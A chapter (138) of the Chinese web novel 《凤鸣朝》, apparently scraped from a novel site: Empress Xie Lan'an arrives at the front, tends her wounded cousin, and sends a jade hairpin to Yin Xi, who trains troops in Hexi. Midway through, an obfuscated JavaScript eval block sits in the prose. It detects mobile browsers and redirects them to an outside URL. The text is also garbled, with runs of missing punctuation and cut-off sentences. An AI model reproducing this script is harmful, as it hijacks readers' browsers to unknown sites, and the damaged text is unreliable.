第138章

作品:《凤鸣朝

    秋日高朗。


    一片动地的雷声惊起江岸两畔飞鹄,那是女皇带领她麾下将士北征的马蹄声。


    一抹玄金色的锦光随着疾驰的御马飞掠过去,如一阵快风,比落在江面的日光更加耀眼。黄袍袖下,一双修长雪白的手掌始终稳稳控着马缰,丝毫看不出文弱娇气。


    女皇墨发高绾的通梁金冠上折射着碎灿的阳光,长眉入鬓,玉面无俦,威严不可方物。


    百姓们自发地跪在道路两侧,向南朝百年以来第一位御驾亲征的皇帝虔诚叩拜。


    大军沿江从荆州借道,到江城后溯汉江北上,再过丹渊,到达梁州已是十日之后。


    事先得信的刘时鼎,早早带着文簿武将数十人,赶到汉阴城城门外候命。


    蹄声由远及近,刘时鼎激动抬目,看见一片如黑云压城的铁甲迎面而来,气势雄浑。


    当中一骑身罩轻袍的纤窕身影格外醒目,如破开云层喷薄高升的旭日,天威不可冒犯。


    老将军视线模糊,谢家的娘子真的登基了,从此,天下便改姓谢!他低头跪拜,又是激动又是惭愧道:


    “末将刘时鼎恭迎陛下御驾!罪臣惭怍,误判军机打了败仗,累陛下万乘之身冒险,臣真是……万死难辞其咎。”


    他身边多是出身荆州嫡系的地方官们,纷纷叩见谢澜安,口呼万岁。


    谢澜安下马,扬动的袍裾拂散几缕热风。她已在征途中换下了那身繁冗华贵的龙袍,也卸下了玉旒遮面的帝冕,眉宇间的英气却不减分毫。


    “起身。”她虚抬手掌,命令刘时鼎,同时修长的眼眸扫视左右。“众卿也免礼,朕此来但为讨贼,非是讨罪。秦岭是长安南面的天然屏障,若能轻克,便可纵取长安,胡虏也知晓利害,必力守此关。刘将军老而弥坚,领兵陷阵,一战未为输,不必自责。”


    刘时鼎心下稍宽,老怀感动道:“陛下亲至,必能一挫敌锐!”


    说罢他起身,引领女皇进城。


    谢澜安踏入这座新打下来的城池,但见街面宽阔净洁,巡兵谨肃有序。


    衢坊间不乏百姓的身影,他们无法靠近军队,但细看这些人的神情,好奇敬重多过恐惧。


    谢澜安便知,谢登他们此前攻下城后不犯百姓,安抚工作做得很好。


    “丰年如何了?”谢澜安低问。


    刘时鼎看待谢丰年如同半儿,说不心疼是假的,回道:“这场败仗对少将军的打击不小,好在少将军身上的伤未在要害,现下卧床静养,只是夜间偶尔还会低热谵语。


    “末将来之前,那小子还挣扎着要下地披甲,欲再攻黑石硖,亲兵好不容易才拦住他。”


    谢澜安


    眸色沉澹,喜怒叵测,又问营地士气如何。


    刘时鼎神色轻顿,那“阴兵过境


    谢澜安早晚要到驻营地,到时一见便知,也没急于在这一时追问。


    她没有先去刘时鼎准备好的驿馆歇息,草草用过饭,趁着转驿停留的短暂一日,到郡中各处巡视了一番。


    梁州现下的治官,是谢逸夏亲自带出来的一任司曹内史。


    此人虽比不了崔膺治理青州的手段,但也当面向女皇陛下保证:绝不让从尉朝手里抢过来的梁州丧失一里,动乱一郡。


    谢澜安记下这人的名字,褒扬数语。


    刘时鼎一直在旁作陪,在谢澜安问政的空当回禀:“我们怀疑黑石硖的雾中掺有一种令人致幻的药物,唐将军已经命人收集艾草、薄荷、合欢皮等安神清心的草药,熬成浓汤浸透布帛,以备下一次士兵再进硖谷时,捂住口鼻。只是,仓促间草药供不应求……


    为谢澜安护驾的贺宝姿刀不离身,在后接口:“陛下出发前便虑到了这层,放心,我们带了几车草药来。不过话说回来——


    这高大威武的女将军眉心一拢,“既然雾中有搞鬼的东西,不就说明这是敌军人为,不是什么‘阴兵过境’了?


    刘时鼎隐晦地摇摇头。


    “贺将军不在当场,事情不像你想象的那样简单。


    谢澜安登上一处城垛,指尖抚过被秋老虎的太阳晒得滚烫的砖石,略微侧目,等他的下文。


    刘时鼎脚踩城墙砖,打起精神道:“陛下,末将亲身进去过,一入那雾气罩罩的山道,便觉身上发沉,就好像……有人拿着上百斤重的石头压在我肩膀上往下坠。


    “还有,末将与属兵手中的兵器也不听使唤,一个劲地嗡响,仿佛有看不见的人想将兵器从我手里夺走。


    “更别说那鬼哭声,是从高悬的岩壁之顶传来的。末将令弓箭手冲声音的来源发箭,却没发现一丝人迹。


    且那种声音……也根本不像人所能发出的。


    刘时鼎现在想起来还觉得瘆人,他虽也宁愿把这一切归结为伪朝装神弄鬼,可他完全无法解释这些怪事。


    “若说是幻觉,怎么可能所有人的感受都是一模一样的。试问天底下有什么药物,能致人产生相同的幻觉、幻听?


    谢澜安敲着指若有所思,又问了刘时鼎一些细节。


    刘时鼎顶着那日恐怖的回忆,竭力回想当时情景,一一回答。


    女墙上的女子眼底暗华隐现,点了点头,当下没有多言,命大军在城中休


    整一日次晨奔赴驻营地。


    一夜无事。次日卯时初刻和衣卧下的谢澜安比着更漏的刻度准时醒来。


    在外间为她守夜的贺宝姿听见声响搓了把脸


    军队饱食后便带着粮车药车随女皇赶往位于秦州黑石硖南十五里外的驻营地。


    大军刚出北门却与一骑从西而来的斥候碰了个正着。


    “来者何人?”谢澜安左右护卫低喝一声长刀出鞘。


    斥候身穿不伦不类的左衽胡服面孔却是一张典型的江南秀净容貌。


    他本是要在城中驿站换马将口信送去金陵的不意在此遇见这浩浩荡荡的军队。


    斥候看见谢澜安的一瞬怔了怔而后目光猛亮立刻下马呈腰牌叩拜。


    “凤翚营伍长齐鹊使见过女君!禀女君胤统领以王师之名征召黄河西边草野流民入伍——河西起义反尉了!”


    晴空之下谢澜安目光璨熠。


    她身后几名亲随更是忍不住发出惊叹的欢呼。


    根据斥候的述说胤奚占据水洛城后安抚迁民勤练兵伍却并不满足于此。在防备赫连朵河的同时他积极向西北边各个游离于北尉统辖之外的部族游说宣扬谢澜安的仁政以及北尉国君的残暴。又向这些汉胡混居人民的许以安居之地粮粟之利。


    胤奚口才极佳兼有武德仁望大批居无定所三餐不饱的流人望风归命踊跃加入军中。


    而今算上一万骁骑军与近万六镇兵可供胤奚调遣的兵力逾数五万包括重骑五百轻骑八千。


    短短半年时间他在敌军的追迫下还能创下如此家业固然是借了南君之名但是谢澜安清楚他若无过人的胆识与治军的能力换成任何一个人都绝难做到。


    好鸾君。


    “恭喜陛下。”反应过来的贺宝姿喜溢言表径先在马上向谢澜安拱手。


    河西起义的意义非同寻常北尉先失六镇再损河西元气已不复当年了。


    胤奚吸纳的虽都是民兵杂伍然军技可以磨练这民心所向四字却最如大江东去不可动摇!


    他们此行向秦川意在破关入长安若那位今时不同往日的胤统领也能突破赫连朵河的防线……


    “那便比比看”谢澜安很轻地笑了声清朗眉眼如锦绣山河既含秀丽又蕴着渊沉岳峙的锋芒“谁先拿下长安。”


    “陛下……”斥候听到亲卫对女君的称呼却是三魂震到了七魄外。


    齐鹊使震惊良久忽低下头砰砰砰重新磕了三下。


    嘿统领要是知道女君登基了不知得高兴成什么样!


    只可惜老大这回遣人


    带出的扇子和书信,在另一队斥候身上。


    赫连大军的围线随着盟军的壮大在收紧,他们此次一共出来三队,就是以防万一。可看方才对面的反应,显然是才知道河西的军情,那么那两队斥候……很可能遭遇了截击。


    齐鹊使仰起的嘴角又苦涩压下,抬头道:“陛下可有指令带给统领?


    谢澜安视线扫过斥候身上的尘污,看出他这一千里路跋涉,必经历了很多艰险。


    她放心胤奚临阵调度的能力,是守是攻,他在前线必然看得比她清楚,暂无关乎死生决胜的军令要交代。


    相反,若让这名疲惫落单的斥候再折返回去,很可能会出危险。


    “你回金陵,将河西事传报给洛阳王与荀夫子,之后回代舍休整,听候调令。


    齐鹊使愣了下,抹去额头的汗水用力摇头:“陛下,末将还能跑!胤统领他在吹风淋沙的陇西……


    当着这些禁卫军的面,他没好意思揭老大的短,没说统领平日空闲时不是削竹扇,就是拿出那枚宝贝私印把玩。


    人都说胤将军动如雷霆,私底下却平易近民,可只有一路跟着他从金陵出来的凤翚兵,才见过他站在女君身边时意气风发,压不住笑眼的鲜活样子。


    那时的胤统领倜傥潇洒,还会和戏小青他们过招说笑呢。等到去国怀乡,陷于危地,再温润的美玉也被磨出了峭利的棱角。


    有一日晚上,齐鹊使看见统领站在营帐外望月,那一刻他忽然觉得,那道修长削薄的身影有点疏冷,也有点……孤独。


    齐鹊使改口:“统领无日不南望,西北军民皆翘首盼望着圣上惠泽。请陛下谕示,一封信、哪怕一句话也好,末将带回去给统领,好教统领心安。


    谢澜安急于征发,无瑕写信。她想了想,抽出髻上一支白玉簪。


    莹白纤长的手指与玉同色,女皇当着所有人的面交给齐鹊使。


    “将此物给他。谢澜安道,“就说,朕命他履薄临深,稳扎稳打。待重逢,朕亲为将军解甲庆功。


    占着左护军位置的玄白眼珠轻转,无声冲允霜挤挤眉眼。


    谢澜安仿佛背后生目,调转马鞭精准地敲在玄白头顶上,咚的一声,如同最小规格的战鼓。


    皇帝陛下声音清泠:“出发!


    斥候向西,王师向北。又过五日,谢澜安到达了位于秦州边邑的驻营地。


    前军正因战事诡谲,士气低迷,乍见一面面绣着“大治二字的玄底流苏旗帜迎风飘展,霎眼及近,还以为是做梦。


    等确认了当真是新皇亲征,三军山呼,士气为之一振。


    刚从硖谷口退下来的封如敕,见到谢澜安威赫更胜当年的风姿,


    说心无波澜是假的。


    想当初他还可以与这女子讨价还价,而今,也只有俯首称臣的份了。


    起身后,这位昔日山寨大当家下意识往谢澜安身后看了看。


    没看到百里归月的身影,他一时不知是该失落还是放心。


    究其心情,到底还是松了口气居多。行军最是奔波,弟妹那样弱的身子,怎么受得了……


    封如敕一念未完,谢澜安如知他所想,一面环望营地一面道:“归月骑不了马,乘车随在军队末尾,有人随扈,再过两日典军便能见到她了。”


    她登基后大封了一批武将,封如敕领任的便是典军大将军。尽管那一瞬间,封如敕掩饰得很好,还是有一缕阴沉从他眼里泄露出来。


    “她最不能受累,”男人口不过脑,“陛下既智计胜人,何必带她来遭这个罪!”


    “放肆。”与谢澜安形影不离的贺宝姿怒目,“敢对天子不敬乎?”


    谢澜安凤目淡挑,与封如敕对视。


    她的眼神并不凶厉,相反,宛如一潭深水般平静。可封如敕不知在那双泓澄的眸底看到什么,恍惚间仿佛重回到鬼气森森的硖谷中,周身寒冷,如芒在背,倏地撤回视线。


    谢澜安这才淡声开口:“打仗并不止杀伐一事,上智伐谋,一位好的军师功劳不输于万军。你只看到她的弱,却未认清她的志向,是瞧不起她。”


    当日太庙外,百里归月向她请求随军出征,说了一句让谢澜安印象深刻的话——


    “虎落于平阳,不肯为豚犬所裁,蜉蝣朝夕而死,犹慕日月之光。归月身如蜉蝣,心有猛虎!求陛下成全。”


    比起做盆栽里怯风去雨的一株病梅,百里归月但求一用。


    否则她这一生,何其徒劳啊。


    别人未必懂,可是谢澜安懂。所以她成全她。


    带有干燥沙土气味的薰风,将硬苫布吹得喀喀作响。封如敕哑口无言。


    谢澜安已看到了一身长衫的靳长庭快步迎来,她踏着轻履走过去,看到靳长庭眼底的两片青影,抬臂虚扶住这位二叔帐下的内史主簿。


    “靳貉是好男儿,”她道,“先生节哀。”


    靳长庭心中百感交集,他已过了最悲痛的时候,向谢澜安深揖一礼:“多谢陛下宽慰……上回那小子从京中返回营中,还与微臣夸口,道亲自见到了陛下玉面,陛下仁厚,赐他一碗绿豆解暑汤,他说,那是他这辈子喝过最甜的绿豆汤……”


    靳长庭勉强提了提嘴角,“靳家男儿为国壮烈,不丢人!——陛下定是记挂小将军,臣这就带您过去。”


    封如敕看着那道经长途跋涉,却毫无疲态,精神奕奕的身影走远。


    原地定了一阵,他


    回过头对亲兵说:


    “将我的帐子收拾出来,通风铺褥,再将储存的河水澄滤了……我记得营地外有些紫蓝色野花,一并摘来,摆在帐中。”


    谢澜安到来后,禁卫军迅速接手了营地的巡防,玄白和允霜各自去与主将交接,了解黑石硖的情况。


    谢澜安穿过错落有序的几片营帐,被靳长庭引到少帅的住舍前。


    这里看起来与士兵们的住处并无不同,谢澜安一进帐中,药味扑鼻。


    唇色浅白的谢丰年上着宽衫,下身罩着一条洒腿元绫中裈,正拄着行军床的沿儿趿鞋要站起来。抬眼见阿姊已至,他懊恼地瞪了眼前的亲兵一眼。


    “前线艰苦危险,阿姊不该来的。”少年中气不足地道,眼睛却没离开谢澜安的脸,仿佛在确认她少了根毫毛没有。“满朝文武不拦着,都是干什么吃的……也都怪、怪我无用!”


    “躺着莫动。”


    谢澜安看见这小郎还能说会道,心才落了原位。


    以她对他的了解,但凡他还有力气出帐,方才早飞奔到辕门迎接她了。


    她拿眼一扫,看见小几上搁着只粗瓷药碗,碗里满满一下漆黑色的汁子,还冒着热气。


    “我带了二叔和阿兄给你的信,吃完药看。”谢澜安径直走到水盆架前洗了把手,而后端起药盏,亲自把盏喂他喝药。


    谢丰年才昏睡一场,身上有些发虚,在阿姊的眼神威慑下,老实地坐回榻沿。他急于与谢澜安分享战报,才张口,一匙汤药已递了过来。


    “我自己能来……”


    谢丰年嘟哝未完,药匙就怼到了他唇边。


    带着病气的少年张口咽了。


    靳长庭见终于有人能治这个小祖宗,面露欣慰,无声地退出帐外。


    谢澜安又舀一勺,注视着少年凹瘦的脸颊,“你可知这个夏天我在京城听到最多的话是什么?都是说,谢少将军一路势如破竹,为国拓土,果然承父嘉风,芝兰玉树。”


    见谢丰年垂眸不语,谢澜安接着道:“眼前小小挫折,算个什么?此番我只领了一万精兵,便是相信谢家军的根底,你我姐弟携手共战,必破贼酋。”


    谢丰年垂着眼,嗯了声。


    谢澜安放柔声音:“受禅那日,可惜你不在。你的封号我还没定,你自己拿战功去挑个衬心的。”


    从前少年骄逸桀骜,她每以疾言规正,而今这天之骄子初尝败果,谢澜安深知少年意气不可堕,便以缓言哄慰。


    从前若要她用这种语气说话,想都别想,但被某个魔星磨久了,竟也拿手起来。


    谢丰年半晌无声,只是加快吞咽药汤的速度。蓦而,一滴水落进了盏中。


    谢丰年肩膀微微耸动,没


    有抬头。


    阿娘早逝,谢丰年从记事起便跟着父亲在军营出来进去,身边接触的全是糙汉子。父亲风雅,却无法代替母亲的职责,他的身边,从来无一个女性长辈如此关照过他,喂他喝药。


    他知道阿姊是怕他一蹶不振,故而暖言勉励,要他振作。


    他不会让阿姊失望。


    “我要,最威风的将军封号。”


    谢澜安听出那哽咽语气里的要强,点头说:“好啊,你自己争。”


    等姐弟二人叙完话,贺宝姿在帐外道了声陛下,请缨先带一队人前去探谷。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007302|154775||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对于那个鬼里鬼气的山谷,贺宝姿早就心头发恨,手心发痒,忍不住想去一探究竟。


    上一个不信邪的还在谢澜安身边喝药,女子眸光微凝,询问今日是什么风向。


    得知是西北风,营地处于下风口,谢澜安驳回了贺宝姿的请求。


    “再等等。”


    她既然到了,便不急在一时。


    谢澜安拈开笼在袖袋里的冬青竹扇,吩咐下去:“全军驻扎休整,点查粮马,查出马匹夜惊原因。再将带来的草药和着竹布熬煮出来,晒干分发给士兵。宰牲祭旗,在军中宣读开国诏书,提振军容。”


    贺宝姿应喏,将圣谕一条条传达下去。


    众部各司其职,剩下的便是查点名册,熟悉环境,放置舆图行卷等琐事。


    谢澜安拒绝了刘时鼎等人请她回军镇府宅中下榻的提议,留在营地,主帐就设在谢丰年邻旁。


    虽然她下令一切从简,可军中从上到下,万万不敢委屈了皇帝陛下,又是在帐中铺地茵,又是燃香驱蚊虫。


    一切妥善后,铁妞儿等几名女卫将几口从谢府带来的军图箱箧,放在三条方几拼起的长案旁边。


    忙乱间,陆荷脚下一绊,她怀里撂得最高的那只窄长檀盒掉下来,恰巧滚到谢澜安靴边。


    一幅画卷从松开的盒盖中滚出展开。


    谢澜安随意瞥了一眼。紧接着,缥缈的水波莲华,逸荡的轻袍玉袖,秀细一握的纤美腰身,猝不及防地浮现在她眼前。


    最终,一张久远的谪仙人般俊美出尘的脸,完整地展露出来。


    抻到尽处又微微回旋的画轴,恰镇在那双似笑似嗔,含情潋滟的眼波之上。


    一帐的人都静了。


    要知道除了归置东西的亲兵,帐中还有过来请安的将军和文员。封如敕,权大牙,唐袖石,靳长庭,谁不认识画上那张脸?


    谁敢呼吸?


    他们是不敢在心中揣测皇帝陛下出门打仗,还随身携带宠臣画像这种足能载入野史的事的,只好佯作从容地收回视线,望天望地,望今个儿的帐篷真白。


    陆荷的左脚还定在空中,维持金


    鸡独立的姿势,心里崩溃地呐喊:是谁办的差事,把胤统领的画像混进军事图里装箱了!陛下明鉴,我真不是故意的呀!


    她哪里知道,谢澜安当初延揽松隐子,便是看中他画技出神,后来包括文杏馆里用的许多大大小小的军事图,都出自这位画痴之手。


    而胤奚的这幅仿仙肖像,正是松隐子得意之作。当初还是个心机小郎君的胤奚,故意请求家主帮他收着这幅画,打着睹物思人的主意。


    谢澜安呢,确实拿它压了箱底,谁知束梦奉令收拾时,误将松隐子的画图都归拢一处,这才有了眼下一幕。


    谢澜安对上那双轻浅温润的笑眼,出神一刹那,竟觉有些久违了。


    这样出尘无欲,甚至带着安抚众生意味的安宁眼波,除了前世为她收尸时,谢澜安便只在刚入府的小郎君身上看到过。


    后来,他学会了用那双媚眼邀功、邀宠、腰……力很好地把她抵在门上胡来。


    乌润的长睫掩住女子眼底化开的水波,那是除了那个远在关山的人谁也不能窥探的风景。


    她神色如常地去捡画。


    陆荷啊了声,哪能让陛下弯腰捡东西,麻利地放下手中图箧抢先去捡。谢澜安却道:“别动。


    不容他人染指的口吻,谢澜安亲自拾起那幅画,抚去尘埃,捻指一寸寸卷起。


    纸上盈盈浅笑的桃花眼还一瞬不瞬望着她,她也回望,心道:“点额化蛟蟒,故人见不疑。你想要故人如故,总要如故回来。


    修长的桃花眼尾走势上挑,笼在玄银打造的狐狸面具后,在西北炙热的阳光下瞳光幽烁。


    那两只如豹一样冷,如海一般深的黑眸里,映出一片飞速后掠的草场。


    八月的河西草场阳光暴晒,草叶焦卷,无一丝风气。听着“嗬嗬哈哈的操练声,树荫底下,韩火寓忍不住摘下草帽往脸上扇风,口干舌燥地和属官交代划分流民住所,防治战马生瘟,粮仓防火等等事项。


    正说着,忽听一阵马蹄疾,韩火寓心道回来了,忙走出荫凉眯目远眺。


    但见一匹通身青鬃的烈马,在骄阳下纵跃逞姿,舒张到极致的骏骨在碧野间划下一道神清骨俊的瞩目剪影。


    马上面覆面具的男人,双腿劲力地夹着马腹,发如点墨,衣袂飞扬,随手扔出挂在鞍角上的一颗颗头颅,顺着草坡滚落。


    他身后十数骑劲卒学着他的样子,也将自己打下的战利品畅快地抛下马背。


    日常操练的战士们早已停下动作,举刀欢呼:“胤王!是胤王回来了!


    韩火寓拿着水囊迎上去,男人驰到他身边下马,摘掉面具,露出一张硬朗英俊的脸孔。


    他接住韩火寓抛过来


    的水囊,先仰头往脸上浇了个爽,而后虚对着壶嘴一口气喝掉半囊。


    他喉结滚动无声,却与束缚在紧致轻甲下的饱满胸膛配合着起伏,带来一种难言的张力。


    几缕晶莹水流,顺着他的喉结淌入中衣,他也不以为意。


    韩火寓等他喝完,看着凝在男人小指边缘的一点干涸血迹,笑说:“满载而归啊。”


    胤奚用流到手上的水将那点脏血抹了,道:“算我欺负人了。”


    在极寒极暑的边关吹了半年沙子,连嗓音曼丽清妙的胤奚声音都变得低沉,为前句话里的轻描淡写,添了三分关不住的嚣张。


    他与韩火寓和肖浪会合后一个月,赫连朵河的攻势开始变缓。据韩火寓带来的情报,胤奚得知了谢澜安下令攻取梁秦二州,赫连大军的动向,预示着关中后方乱起来了。


    尉军有意回撤。


    倘若对他们紧咬不放的劲敌真的撤退,无疑会给水洛城的盟军带来经营壮大的机会——但胤奚不愿意。


    “放他们就这么走,秦州道压力便会倍增。独眼胡奴来则来矣,再别想回去安生地做他的关中大行台。”


    胤奚采用袭扰战术,一边加紧壮大实力,一边不停骚扰尉军的小股营队。


    赫连朵河若想掉头回秦州,他会立刻传播尉军弃战投降,丢盔卸甲的说法,破掉敌人的士气,一路绝尘追上去,狠捅他们的屁股。


    他们先时一路逃亡的狼狈,已在那场风雪中转化成无坚不摧的绝地反击。而今胤奚与高世军手下人手粮足,紧咬不放的,轮到他们了。


    入夏以后,按胤奚严格挑选训练出来的士兵初具规模,以胤奚为主的几名主将,就不大干打窝的勾当了,都是派老兵领新兵去击杀尉军探马,权当实战演练。


    只有胤奚偶尔手痒时,才会像今天这样去舒展一下筋骨。


    赫连朵河生性不可一世,受不得侮辱与激将。据传他在帐中以龙雀大环斩断几案,言退者斩,誓要将胤奚碎尸万段。


    碎尸万段啊,胤奚听到战书一笑置之,彼此彼此。


    韩火寓见胤奚还是那么不苟言笑,很刻意地往他脸上瞅了几眼,说:“还行,没晒黑。”


    胤奚转过在阳光下白皙无瑕的脸,轻瞥这碎嘴子一眼,反手把狐面罩了回去。


    说起他戴面具,并不是为了震慑敌军或者耍酷,其中还有个典故。


    那是端午后的一个下午,乙生和六镇兵换值下来后,觉得脸皮发疼。他摸着被晒伤的脸感叹西北的日头真毒,照着水井自言自语:


    “照这样晒个一年半载,等回家的时候还不成黑炭头了,别说我,连胤统领那么白的人,瞧着都晒黑了……”


    好巧不巧,路过的胤奚正听见这句话。


    那时他除了商谈军务和下发指令,私下里已愈发寡言敛重,听言,难得愣了愣,仿佛一直没意识到这个问题,停步问:“真黑了?”


    “啊?”乙生反应慢了半拍,他身后的几个凤翚兵闷闷发笑。


    胤奚没再多言,折回来踹了乙生屁股一脚。


    第二天,胤奚便找军匠,从作废的兵械里挑了块料。


    军匠问他想打造何等样式的,胤奚不知想起什么,轻扬的眼梢含了缕明光,照着那年与谢澜安在灯楼下偶遇所戴的狐狸面具,亲手画下图纸。


    此时,那张开目狭长妖冶,额刻焰纹,不怒自威的狐面盯着韩火寓,问:“有金陵来的信吗?”